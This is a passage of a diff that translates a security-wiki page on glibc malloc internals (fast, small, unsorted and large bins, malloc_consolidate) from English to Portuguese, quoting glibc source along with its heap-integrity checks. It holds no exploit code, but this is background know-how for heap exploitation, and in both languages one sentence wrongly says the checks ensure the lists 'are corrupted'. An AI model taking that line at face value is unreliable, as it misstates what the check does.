+while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \
+!= victim);					\
 
-  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
-    {
-      idx = fastbin_index (nb);
-      mfastbinptr *fb = &fastbin (av, idx);
-      mchunkptr pp;
-      victim = *fb;
+if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
+{
+idx = fastbin_index (nb);
+mfastbinptr *fb = &fastbin (av, idx);
+mchunkptr pp;
+victim = *fb;
 
-      if (victim != NULL)
-	{
-	  if (__glibc_unlikely (misaligned_chunk (victim)))
-	    malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");
+if (victim != NULL)
+{
+if (__glibc_unlikely (misaligned_chunk (victim)))
+malloc_printerr ("malloc(): unaligned fastbin chunk detected 2");
 
-	  if (SINGLE_THREAD_P)
-	    *fb = REVEAL_PTR (victim->fd);
-	  else
-	    REMOVE_FB (fb, pp, victim);
-	  if (__glibc_likely (victim != NULL))
-	    {
-	      size_t victim_idx = fastbin_index (chunksize (victim));
-	      if (__builtin_expect (victim_idx != idx, 0))
-		malloc_printerr ("malloc(): memory corruption (fast)");
-	      check_remalloced_chunk (av, victim, nb);
+if (SINGLE_THREAD_P)
+*fb = REVEAL_PTR (victim->fd);
+else
+REMOVE_FB (fb, pp, victim);
+if (__glibc_likely (victim != NULL))
+{
+size_t victim_idx = fastbin_index (chunksize (victim));
+if (__builtin_expect (victim_idx != idx, 0))
+malloc_printerr ("malloc(): memory corruption (fast)");
+check_remalloced_chunk (av, victim, nb);
 #if USE_TCACHE
-	      /* While we're here, if we see other chunks of the same size,
-		 stash them in the tcache.  */
-	      size_t tc_idx = csize2tidx (nb);
-	      if (tcache != NULL && tc_idx < mp_.tcache_bins)
-		{
-		  mchunkptr tc_victim;
+/* While we're here, if we see other chunks of the same size,
+stash them in the tcache.  */
+size_t tc_idx = csize2tidx (nb);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+{
+mchunkptr tc_victim;
 
-		  /* While bin not empty and tcache not full, copy chunks.  */
-		  while (tcache->counts[tc_idx] < mp_.tcache_count
-			 && (tc_victim = *fb) != NULL)
-		    {
-		      if (__glibc_unlikely (misaligned_chunk (tc_victim)))
-			malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
-		      if (SINGLE_THREAD_P)
-			*fb = REVEAL_PTR (tc_victim->fd);
-		      else
-			{
-			  REMOVE_FB (fb, pp, tc_victim);
-			  if (__glibc_unlikely (tc_victim == NULL))
-			    break;
-			}
-		      tcache_put (tc_victim, tc_idx);
-		    }
-		}
+/* While bin not empty and tcache not full, copy chunks.  */
+while (tcache->counts[tc_idx] < mp_.tcache_count
+&& (tc_victim = *fb) != NULL)
+{
+if (__glibc_unlikely (misaligned_chunk (tc_victim)))
+malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
+if (SINGLE_THREAD_P)
+*fb = REVEAL_PTR (tc_victim->fd);
+else
+{
+REMOVE_FB (fb, pp, tc_victim);
+if (__glibc_unlikely (tc_victim == NULL))
+break;
+}
+tcache_put (tc_victim, tc_idx);
+}
+}
 #endif
-	      void *p = chunk2mem (victim);
-	      alloc_perturb (p, bytes);
-	      return p;
-	    }
-	}
-    }
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
+}
 ```
-
 

 
 ### Small Bin
 
-As indicated in a comment, small bins hold one size per index, therefore checking if a valid chunk is available is super fast, so after fast bins, small bins are checked.
+Como indicado em um comentário, small bins contêm um tamanho por índice, portanto, verificar se um chunk válido está disponível é super rápido, então, após os fast bins, os small bins são verificados.
 
-The first check is to find out if the requested size could be inside a small bin. In that case, get the corresponded **index** inside the smallbin and see if there is **any available chunk**.
+A primeira verificação é descobrir se o tamanho solicitado pode estar dentro de um small bin. Nesse caso, obtenha o **índice** correspondente dentro do smallbin e veja se há **qualquer chunk disponível**.
 
-Then, a security check is performed checking:
+Em seguida, uma verificação de segurança é realizada verificando:
 
--  if `victim->bk->fd = victim`. To see that both chunks are correctly linked.
+-  se `victim->bk->fd = victim`. Para ver se ambos os chunks estão corretamente vinculados.
 
-In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed.
+Nesse caso, o chunk **recebe o bit `inuse`,** a lista duplamente encadeada é corrigida para que esse chunk desapareça dela (já que vai ser usado), e o bit da arena não principal é definido, se necessário.
 
-Finally, **fill the tcache index of the requested size** with other chunks inside the small bin (if any).
+Finalmente, **preencha o índice tcache do tamanho solicitado** com outros chunks dentro do small bin (se houver).
 
 

 
 _int_malloc small bin
-
 ```c
 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6
 
 /*
-     If a small request, check regular bin.  Since these "smallbins"
-     hold one size each, no searching within bins is necessary.
-     (For a large request, we need to wait until unsorted chunks are
-     processed to find best fit. But for small ones, fits are exact
-     anyway, so we can check now, which is faster.)
-   */
+If a small request, check regular bin.  Since these "smallbins"
+hold one size each, no searching within bins is necessary.
+(For a large request, we need to wait until unsorted chunks are
+processed to find best fit. But for small ones, fits are exact
+anyway, so we can check now, which is faster.)
+*/
 
-  if (in_smallbin_range (nb))
-    {
-      idx = smallbin_index (nb);
-      bin = bin_at (av, idx);
+if (in_smallbin_range (nb))
+{
+idx = smallbin_index (nb);
+bin = bin_at (av, idx);
 
-      if ((victim = last (bin)) != bin)
-        {
-          bck = victim->bk;
-	  if (__glibc_unlikely (bck->fd != victim))
-	    malloc_printerr ("malloc(): smallbin double linked list corrupted");
-          set_inuse_bit_at_offset (victim, nb);
-          bin->bk = bck;
-          bck->fd = bin;
+if ((victim = last (bin)) != bin)
+{
+bck = victim->bk;
+if (__glibc_unlikely (bck->fd != victim))
+malloc_printerr ("malloc(): smallbin double linked list corrupted");
+set_inuse_bit_at_offset (victim, nb);
+bin->bk = bck;
+bck->fd = bin;
 
-          if (av != &main_arena)
-	    set_non_main_arena (victim);
-          check_malloced_chunk (av, victim, nb);
+if (av != &main_arena)
+set_non_main_arena (victim);
+check_malloced_chunk (av, victim, nb);
 #if USE_TCACHE
-	  /* While we're here, if we see other chunks of the same size,
-	     stash them in the tcache.  */
-	  size_t tc_idx = csize2tidx (nb);
-	  if (tcache != NULL && tc_idx < mp_.tcache_bins)
-	    {
-	      mchunkptr tc_victim;
+/* While we're here, if we see other chunks of the same size,
+stash them in the tcache.  */
+size_t tc_idx = csize2tidx (nb);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+{
+mchunkptr tc_victim;
 
-	      /* While bin not empty and tcache not full, copy chunks over.  */
-	      while (tcache->counts[tc_idx] < mp_.tcache_count
-		     && (tc_victim = last (bin)) != bin)
-		{
-		  if (tc_victim != 0)
-		    {
-		      bck = tc_victim->bk;
-		      set_inuse_bit_at_offset (tc_victim, nb);
-		      if (av != &main_arena)
-			set_non_main_arena (tc_victim);
-		      bin->bk = bck;
-		      bck->fd = bin;
+/* While bin not empty and tcache not full, copy chunks over.  */
+while (tcache->counts[tc_idx] < mp_.tcache_count
+&& (tc_victim = last (bin)) != bin)
+{
+if (tc_victim != 0)
+{
+bck = tc_victim->bk;
+set_inuse_bit_at_offset (tc_victim, nb);
+if (av != &main_arena)
+set_non_main_arena (tc_victim);
+bin->bk = bck;
+bck->fd = bin;
 
-		      tcache_put (tc_victim, tc_idx);
-	            }
-		}
-	    }
+tcache_put (tc_victim, tc_idx);
+}
+}
+}
 #endif
-          void *p = chunk2mem (victim);
-          alloc_perturb (p, bytes);
-          return p;
-        }
-    }
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
+}
 ```
-
 

 
 ### malloc_consolidate
 
-If it wasn't a small chunk, it's a large chunk, and in this case **`malloc_consolidate`** is called to avoid memory fragmentation.
+Se não era um pequeno bloco, é um grande bloco, e neste caso **`malloc_consolidate`** é chamado para evitar a fragmentação da memória.
 
 

 
-malloc_consolidate call
-
+chamada de malloc_consolidate
 ```c
 /*
-     If this is a large request, consolidate fastbins before continuing.
-     While it might look excessive to kill all fastbins before
-     even seeing if there is space available, this avoids
-     fragmentation problems normally associated with fastbins.
-     Also, in practice, programs tend to have runs of either small or
-     large requests, but less often mixtures, so consolidation is not
-     invoked all that often in most programs. And the programs that
-     it is called frequently in otherwise tend to fragment.
-   */
+If this is a large request, consolidate fastbins before continuing.
+While it might look excessive to kill all fastbins before
+even seeing if there is space available, this avoids
+fragmentation problems normally associated with fastbins.
+Also, in practice, programs tend to have runs of either small or
+large requests, but less often mixtures, so consolidation is not
+invoked all that often in most programs. And the programs that
+it is called frequently in otherwise tend to fragment.
+*/
 
-  else
-    {
-      idx = largebin_index (nb);
-      if (atomic_load_relaxed (&av->have_fastchunks))
-        malloc_consolidate (av);
-    }
+else
+{
+idx = largebin_index (nb);
+if (atomic_load_relaxed (&av->have_fastchunks))
+malloc_consolidate (av);
+}
 
 ```
-
 

 
-The malloc consolidate function basically removes chunks from the fast bin and places them into the unsorted bin. After the next malloc these chunks will be organized in their respective small/fast bins.
+A função malloc consolidate basicamente remove pedaços do fast bin e os coloca no unsorted bin. Após o próximo malloc, esses pedaços serão organizados em seus respectivos small/fast bins.
 
-Note that if while removing these chunks, if they are found with previous or next chunks that aren't in use they will be **unliked and merged** before placing the final chunk in the **unsorted** bin.
+Note que, ao remover esses pedaços, se eles forem encontrados com pedaços anteriores ou seguintes que não estão em uso, eles serão **desvinculados e mesclados** antes de colocar o pedaço final no **unsorted** bin.
 
-For each fast bin chunk a couple of security checks are performed:
+Para cada pedaço do fast bin, uma série de verificações de segurança é realizada:
 
-- If the chunk is unaligned trigger: `malloc_consolidate(): unaligned fastbin chunk detected`
-- If the chunk has a different size that the one it should because of the index it's in: `malloc_consolidate(): invalid chunk size`
-- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by `prev_chunk`: `corrupted size vs. prev_size in fastbins`
+- Se o pedaço estiver desalinhado, aciona: `malloc_consolidate(): unaligned fastbin chunk detected`
+- Se o pedaço tiver um tamanho diferente do que deveria por causa do índice em que está: `malloc_consolidate(): invalid chunk size`
+- Se o pedaço anterior não estiver em uso e o pedaço anterior tiver um tamanho diferente do indicado por `prev_chunk`: `corrupted size vs. prev_size in fastbins`
 
 

 
-malloc_consolidate function
-
+função malloc_consolidate
 ```c
 // https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2
 
 static void malloc_consolidate(mstate av)
 {
-  mfastbinptr*    fb;                 /* current fastbin being consolidated */
-  mfastbinptr*    maxfb;              /* last fastbin (for loop control) */
-  mchunkptr       p;                  /* current chunk being consolidated */
-  mchunkptr       nextp;              /* next chunk to consolidate */
-  mchunkptr       unsorted_bin;       /* bin header */
-  mchunkptr       first_unsorted;     /* chunk to link to */
+mfastbinptr*    fb;                 /* current fastbin being consolidated */
+mfastbinptr*    maxfb;              /* last fastbin (for loop control) */
+mchunkptr       p;                  /* current chunk being consolidated */
+mchunkptr       nextp;              /* next chunk to consolidate */
+mchunkptr       unsorted_bin;       /* bin header */
+mchunkptr       first_unsorted;     /* chunk to link to */
 
-  /* These have same use as in free() */
-  mchunkptr       nextchunk;
-  INTERNAL_SIZE_T size;
-  INTERNAL_SIZE_T nextsize;
-  INTERNAL_SIZE_T prevsize;
-  int             nextinuse;
+/* These have same use as in free() */
+mchunkptr       nextchunk;
+INTERNAL_SIZE_T size;
+INTERNAL_SIZE_T nextsize;
+INTERNAL_SIZE_T prevsize;
+int             nextinuse;
 
-  atomic_store_relaxed (&av->have_fastchunks, false);
+atomic_store_relaxed (&av->have_fastchunks, false);
 
-  unsorted_bin = unsorted_chunks(av);
+unsorted_bin = unsorted_chunks(av);
 
-  /*
-    Remove each chunk from fast bin and consolidate it, placing it
-    then in unsorted bin. Among other reasons for doing this,
-    placing in unsorted bin avoids needing to calculate actual bins
-    until malloc is sure that chunks aren't immediately going to be
-    reused anyway.
-  */
+/*
+Remove each chunk from fast bin and consolidate it, placing it
+then in unsorted bin. Among other reasons for doing this,
+placing in unsorted bin avoids needing to calculate actual bins
+until malloc is sure that chunks aren't immediately going to be
+reused anyway.
+*/
 
-  maxfb = &fastbin (av, NFASTBINS - 1);
-  fb = &fastbin (av, 0);
-  do {
-    p = atomic_exchange_acquire (fb, NULL);
-    if (p != 0) {
-      do {
-	{
-	  if (__glibc_unlikely (misaligned_chunk (p)))
-	    malloc_printerr ("malloc_consolidate(): "
-			     "unaligned fastbin chunk detected");
+maxfb = &fastbin (av, NFASTBINS - 1);
+fb = &fastbin (av, 0);
+do {
+p = atomic_exchange_acquire (fb, NULL);
+if (p != 0) {
+do {
+{
+if (__glibc_unlikely (misaligned_chunk (p)))
+malloc_printerr ("malloc_consolidate(): "
+"unaligned fastbin chunk detected");
 
-	  unsigned int idx = fastbin_index (chunksize (p));
-	  if ((&fastbin (av, idx)) != fb)
-	    malloc_printerr ("malloc_consolidate(): invalid chunk size");
-	}
+unsigned int idx = fastbin_index (chunksize (p));
+if ((&fastbin (av, idx)) != fb)
+malloc_printerr ("malloc_consolidate(): invalid chunk size");
+}
 
-	check_inuse_chunk(av, p);
-	nextp = REVEAL_PTR (p->fd);
+check_inuse_chunk(av, p);
+nextp = REVEAL_PTR (p->fd);
 
-	/* Slightly streamlined version of consolidation code in free() */
-	size = chunksize (p);
-	nextchunk = chunk_at_offset(p, size);
-	nextsize = chunksize(nextchunk);
+/* Slightly streamlined version of consolidation code in free() */
+size = chunksize (p);
+nextchunk = chunk_at_offset(p, size);
+nextsize = chunksize(nextchunk);
 
-	if (!prev_inuse(p)) {
-	  prevsize = prev_size (p);
-	  size += prevsize;
-	  p = chunk_at_offset(p, -((long) prevsize));
-	  if (__glibc_unlikely (chunksize(p) != prevsize))
-	    malloc_printerr ("corrupted size vs. prev_size in fastbins");
-	  unlink_chunk (av, p);
-	}
+if (!prev_inuse(p)) {
+prevsize = prev_size (p);
+size += prevsize;
+p = chunk_at_offset(p, -((long) prevsize));
+if (__glibc_unlikely (chunksize(p) != prevsize))
+malloc_printerr ("corrupted size vs. prev_size in fastbins");
+unlink_chunk (av, p);
+}
 
-	if (nextchunk != av->top) {
-	  nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
+if (nextchunk != av->top) {
+nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
 
-	  if (!nextinuse) {
-	    size += nextsize;
-	    unlink_chunk (av, nextchunk);
-	  } else
-	    clear_inuse_bit_at_offset(nextchunk, 0);
+if (!nextinuse) {
+size += nextsize;
+unlink_chunk (av, nextchunk);
+} else
+clear_inuse_bit_at_offset(nextchunk, 0);
 
-	  first_unsorted = unsorted_bin->fd;
-	  unsorted_bin->fd = p;
-	  first_unsorted->bk = p;
+first_unsorted = unsorted_bin->fd;
+unsorted_bin->fd = p;
+first_unsorted->bk = p;
 
-	  if (!in_smallbin_range (size)) {
-	    p->fd_nextsize = NULL;
-	    p->bk_nextsize = NULL;
-	  }
+if (!in_smallbin_range (size)) {
+p->fd_nextsize = NULL;
+p->bk_nextsize = NULL;
+}
 
-	  set_head(p, size | PREV_INUSE);
-	  p->bk = unsorted_bin;
-	  p->fd = first_unsorted;
-	  set_foot(p, size);
-	}
+set_head(p, size | PREV_INUSE);
+p->bk = unsorted_bin;
+p->fd = first_unsorted;
+set_foot(p, size);
+}
 
-	else {
-	  size += nextsize;
-	  set_head(p, size | PREV_INUSE);
-	  av->top = p;
-	}
+else {
+size += nextsize;
+set_head(p, size | PREV_INUSE);
+av->top = p;
+}
 
-      } while ( (p = nextp) != 0);
+} while ( (p = nextp) != 0);
 
-    }
-  } while (fb++ != maxfb);
+}
+} while (fb++ != maxfb);
 }
 ```
-
 

 
-### Unsorted bin
+### Bin não ordenado
 
-It's time to check the unsorted bin for a potential valid chunk to use.
+É hora de verificar o bin não ordenado em busca de um chunk válido para usar.
 
-#### Start
+#### Início
 
-This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` 
+Isso começa com um grande loop for que irá percorrer o bin não ordenado na direção `bk` até chegar ao final (a estrutura arena) com `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` 
 
-Moreover, some security checks are perform every time a new chunk is considered:
+Além disso, algumas verificações de segurança são realizadas toda vez que um novo chunk é considerado:
 
-- If the chunk size is weird (too small or too big): `malloc(): invalid size (unsorted)`
-- If the next chunk size is weird (too small or too big): `malloc(): invalid next size (unsorted)`
-- If the previous size indicated by the next chunk differs from the size of the chunk: `malloc(): mismatching next->prev_size (unsorted)`
-- If not `victim->bck->fd == victim` or not `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted`
-  - As we are always checking the las one, it's `fd` should be pointing always to the arena struct.
-- If the next chunk isn't indicating that the previous is in use: `malloc(): invalid next->prev_inuse (unsorted)`
+- Se o tamanho do chunk é estranho (muito pequeno ou muito grande): `malloc(): invalid size (unsorted)`
+- Se o tamanho do próximo chunk é estranho (muito pequeno ou muito grande): `malloc(): invalid next size (unsorted)`
+- Se o tamanho anterior indicado pelo próximo chunk difere do tamanho do chunk: `malloc(): mismatching next->prev_size (unsorted)`
+- Se não `victim->bck->fd == victim` ou não `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted`
+- Como estamos sempre verificando o último, seu `fd` deve sempre apontar para a estrutura arena.
+- Se o próximo chunk não indica que o anterior está em uso: `malloc(): invalid next->prev_inuse (unsorted)`
 
 

 
-_int_malloc unsorted bin start
-
+_int_malloc início do bin não ordenado
 ```c
 /*
-     Process recently freed or remaindered chunks, taking one only if
-     it is exact fit, or, if this a small request, the chunk is remainder from
-     the most recent non-exact fit.  Place other traversed chunks in
-     bins.  Note that this step is the only place in any routine where
-     chunks are placed in bins.
+Process recently freed or remaindered chunks, taking one only if
+it is exact fit, or, if this a small request, the chunk is remainder from
+the most recent non-exact fit.  Place other traversed chunks in
+bins.  Note that this step is the only place in any routine where
+chunks are placed in bins.
 
-     The outer loop here is needed because we might not realize until
-     near the end of malloc that we should have consolidated, so must
-     do so and retry. This happens at most once, and only when we would
-     otherwise need to expand memory to service a "small" request.
-   */
+The outer loop here is needed because we might not realize until
+near the end of malloc that we should have consolidated, so must
+do so and retry. This happens at most once, and only when we would
+otherwise need to expand memory to service a "small" request.
+*/
 
 #if USE_TCACHE
-  INTERNAL_SIZE_T tcache_nb = 0;
-  size_t tc_idx = csize2tidx (nb);
-  if (tcache != NULL && tc_idx < mp_.tcache_bins)
-    tcache_nb = nb;
-  int return_cached = 0;
+INTERNAL_SIZE_T tcache_nb = 0;
+size_t tc_idx = csize2tidx (nb);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+tcache_nb = nb;
+int return_cached = 0;
 
-  tcache_unsorted_count = 0;
+tcache_unsorted_count = 0;
 #endif
 
-  for (;; )
-    {
-      int iters = 0;
-      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
-        {
-          bck = victim->bk;
-          size = chunksize (victim);
-          mchunkptr next = chunk_at_offset (victim, size);
+for (;; )
+{
+int iters = 0;
+while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
+{
+bck = victim->bk;
+size = chunksize (victim);
+mchunkptr next = chunk_at_offset (victim, size);
 
-          if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
-              || __glibc_unlikely (size > av->system_mem))
-            malloc_printerr ("malloc(): invalid size (unsorted)");
-          if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
-              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
-            malloc_printerr ("malloc(): invalid next size (unsorted)");
-          if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
-            malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
-          if (__glibc_unlikely (bck->fd != victim)
-              || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
-            malloc_printerr ("malloc(): unsorted double linked list corrupted");
-          if (__glibc_unlikely (prev_inuse (next)))
-            malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
+if (__glibc_unlikely (size <= CHUNK_HDR_SZ)
+|| __glibc_unlikely (size > av->system_mem))
+malloc_printerr ("malloc(): invalid size (unsorted)");
+if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
+|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
+malloc_printerr ("malloc(): invalid next size (unsorted)");
+if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
+malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
+if (__glibc_unlikely (bck->fd != victim)
+|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
+malloc_printerr ("malloc(): unsorted double linked list corrupted");
+if (__glibc_unlikely (prev_inuse (next)))
+malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
 
 ```
-
 

 
-#### if `in_smallbin_range`
+#### se `in_smallbin_range`
 
-If the chunk is bigger than the requested size use it, and set the rest of the chunk space into the unsorted list and update the `last_remainder` with it.
+Se o chunk for maior do que o tamanho solicitado, use-o e coloque o restante do espaço do chunk na lista não ordenada e atualize o `last_remainder` com isso.
 
 

 
-_int_malloc unsorted bin in_smallbin_range
-
+_int_malloc lista não ordenada in_smallbin_range
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14
 
 /*
-             If a small request, try to use last remainder if it is the
-             only chunk in unsorted bin.  This helps promote locality for
-             runs of consecutive small requests. This is the only
-             exception to best-fit, and applies only when there is
-             no exact fit for a small chunk.
-           */
+If a small request, try to use last remainder if it is the
+only chunk in unsorted bin.  This helps promote locality for
+runs of consecutive small requests. This is the only
+exception to best-fit, and applies only when there is
+no exact fit for a small chunk.
+*/
 
-          if (in_smallbin_range (nb) &&
-              bck == unsorted_chunks (av) &&
-              victim == av->last_remainder &&
-              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
-            {
-              /* split and reattach remainder */
-              remainder_size = size - nb;
-              remainder = chunk_at_offset (victim, nb);
-              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
-              av->last_remainder = remainder;
-              remainder->bk = remainder->fd = unsorted_chunks (av);
-              if (!in_smallbin_range (remainder_size))
-                {
-                  remainder->fd_nextsize = NULL;
-                  remainder->bk_nextsize = NULL;
-                }
+if (in_smallbin_range (nb) &&
+bck == unsorted_chunks (av) &&
+victim == av->last_remainder &&
+(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
+{
+/* split and reattach remainder */
+remainder_size = size - nb;
+remainder = chunk_at_offset (victim, nb);
+unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
+av->last_remainder = remainder;
+remainder->bk = remainder->fd = unsorted_chunks (av);
+if (!in_smallbin_range (remainder_size))
+{
+remainder->fd_nextsize = NULL;
+remainder->bk_nextsize = NULL;
+}
 
-              set_head (victim, nb | PREV_INUSE |
-                        (av != &main_arena ? NON_MAIN_ARENA : 0));
-              set_head (remainder, remainder_size | PREV_INUSE);
-              set_foot (remainder, remainder_size);
+set_head (victim, nb | PREV_INUSE |
+(av != &main_arena ? NON_MAIN_ARENA : 0));
+set_head (remainder, remainder_size | PREV_INUSE);
+set_foot (remainder, remainder_size);
 
-              check_malloced_chunk (av, victim, nb);
-              void *p = chunk2mem (victim);
-              alloc_perturb (p, bytes);
-              return p;
-            }
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
+}
 
 ```
-
 

 
-If this was successful, return the chunk ant it's over, if not, continue executing the function...
+Se isso foi bem-sucedido, retorne o chunk e acabou, se não, continue executando a função...
 
-#### if equal size
+#### se tamanho igual
 
-Continue removing the chunk from the bin, in case the requested size is exactly the one of the chunk:
+Continue removendo o chunk do bin, caso o tamanho solicitado seja exatamente o do chunk:
 
-- If the tcache is not filled, add it to the tcache and continue indicating that there is a tcache chunk that could be used
-- If tcache is full, just use it returning it
+- Se o tcache não estiver cheio, adicione-o ao tcache e continue indicando que há um chunk no tcache que pode ser usado
+- Se o tcache estiver cheio, apenas use-o retornando-o
 
 

 
-_int_malloc unsorted bin equal size
-
+_int_malloc bin não ordenado tamanho igual
 ```c
 // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14
 
 /* remove from unsorted list */
-          unsorted_chunks (av)->bk = bck;
-          bck->fd = unsorted_chunks (av);
+unsorted_chunks (av)->bk = bck;
+bck->fd = unsorted_chunks (av);
 
-          /* Take now instead of binning if exact fit */
+/* Take now instead of binning if exact fit */
 
-          if (size == nb)
-            {
-              set_inuse_bit_at_offset (victim, size);
-              if (av != &main_arena)
-		set_non_main_arena (victim);
+if (size == nb)
+{
+set_inuse_bit_at_offset (victim, size);
+if (av != &main_arena)
+set_non_main_arena (victim);
 #if USE_TCACHE
-	      /* Fill cache first, return to user only if cache fills.
-		 We may return one of these chunks later.  */
-	      if (tcache_nb > 0
-		  && tcache->counts[tc_idx] < mp_.tcache_count)
-		{
-		  tcache_put (victim, tc_idx);
-		  return_cached = 1;
-		  continue;
-		}
-	      else
-		{
+/* Fill cache first, return to user only if cache fills.
+We may return one of these chunks later.  */
+if (tcache_nb > 0
+&& tcache->counts[tc_idx] < mp_.tcache_count)
+{
+tcache_put (victim, tc_idx);
+return_cached = 1;
+continue;
+}
+else
+{
 #endif
-              check_malloced_chunk (av, victim, nb);
-              void *p = chunk2mem (victim);
-              alloc_perturb (p, bytes);
-              return p;
+check_malloced_chunk (av, victim, nb);
+void *p = chunk2mem (victim);
+alloc_perturb (p, bytes);
+return p;
 #if USE_TCACHE
-		}
+}
 #endif
-            }
+}
 
 ```
-
 

 
-If chunk not returned or added to tcache, continue with the code...
+Se o chunk não for retornado ou adicionado ao tcache, continue com o código...
 
-#### place chunk in a bin
+#### colocar chunk em um bin
 
-Store the checked chunk in the small bin or in the large bin according to the size of the chunk (keeping the large bin properly organized).
+Armazene o chunk verificado no bin pequeno ou no bin grande de acordo com o tamanho do chunk (mantendo o bin grande devidamente organizado).
 
-There are security checks being performed to make sure both large bin doubled linked list are corrupted:
+Estão sendo realizadas verificações de segurança para garantir que ambas as listas duplamente encadeadas do bin grande estejam corrompidas:
 
-- If `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
-- If `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
+- Se `fwd->bk_nextsize->fd_nextsize != fwd`: `malloc(): largebin double linked list corrupted (nextsize)`
+- Se `fwd->bk->fd != fwd`: `malloc(): largebin double linked list corrupted (bk)`
 
 

 
-_int_malloc place chunk in a bin
-
+_int_malloc colocar chunk em um bin
 ```c
 /* place chunk in bin */
 
-          if (in_smallbin_range (size))
-            {
-              victim_index = smallbin_index (size);
-              bck = bin_at (av, victim_index);
-              fwd = bck->fd;
-            }
-          else
-            {
-              victim_index = largebin_index (size);
-              bck = bin_at (av, victim_index);
-              fwd = bck->fd;
+if (in_smallbin_range (size))
+{
+victim_index = smallbin_index (size);
+bck = bin_at (av, victim_index);
+fwd = bck->fd;
+}
+else
+{
+victim_index = largebin_index (size);
+bck = bin_at (av, victim_index);
+fwd = bck->fd;
 
-              /* maintain large bins in sorted order */
-              if (fwd != bck)
-                {
-                  /* Or with inuse bit to speed comparisons */
-                  size |= PREV_INUSE;
-                  /* if smaller than smallest, bypass loop below */
-                  assert (chunk_main_arena (bck->bk));
-                  if ((unsigned long) (size)
-		      < (unsigned long) chunksize_nomask (bck->bk))
-                    {
-                      fwd = bck;
-                      bck = bck->bk;
+/* maintain large bins in sorted order */
+if (fwd != bck)
+{
+/* Or with inuse bit to speed comparisons */
+size |= PREV_INUSE;
+/* if smaller than smallest, bypass loop below */
+assert (chunk_main_arena (bck->bk));
+if ((unsigned long) (size)
+< (unsigned long) chunksize_nomask (bck->bk))
+{
+fwd = bck;
+bck = bck->bk;
 
-                      victim->fd_nextsize = fwd->fd;
-                      victim->bk_nextsize = fwd->fd->bk_nextsize;
-                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
-                    }
-                  else
-                    {
-                      assert (chunk_main_arena (fwd));
-                      while ((unsigned long) size < chunksize_nomask (fwd))
-                        {
-                          fwd = fwd->fd_nextsize;
-			  assert (chunk_main_arena (fwd));
-                        }
+victim->fd_nextsize = fwd->fd;
+victim->bk_nextsize = fwd->fd->bk_nextsize;
+fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
+}
+else
+{
+assert (chunk_main_arena (fwd));
+while ((unsigned long) size < chunksize_nomask (fwd))
+{
+fwd = fwd->fd_nextsize;
+assert (chunk_main_arena (fwd));
+}
 
-                      if ((unsigned long) size
-			  == (unsigned long) chunksize_nomask (fwd))
-                        /* Always insert in the second position.  */
-                        fwd = fwd->fd;
-                      else
-                        {
-                          victim->fd_nextsize = fwd;
-                          victim->bk_nextsize = fwd->bk_nextsize;
-                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
-                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
-                          fwd->bk_nextsize = victim;
-                          victim->bk_nextsize->fd_nextsize = victim;
-                        }
-                      bck = fwd->bk;
-                      if (bck->fd != fwd)
-                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
-                    }
-                }
-              else
-                victim->fd_nextsize = victim->bk_nextsize = victim;
-            }
+if ((unsigned long) size
+== (unsigned long) chunksize_nomask (fwd))
+/* Always insert in the second position.  */
+fwd = fwd->fd;
+else
+{
+victim->fd_nextsize = fwd;
+victim->bk_nextsize = fwd->bk_nextsize;
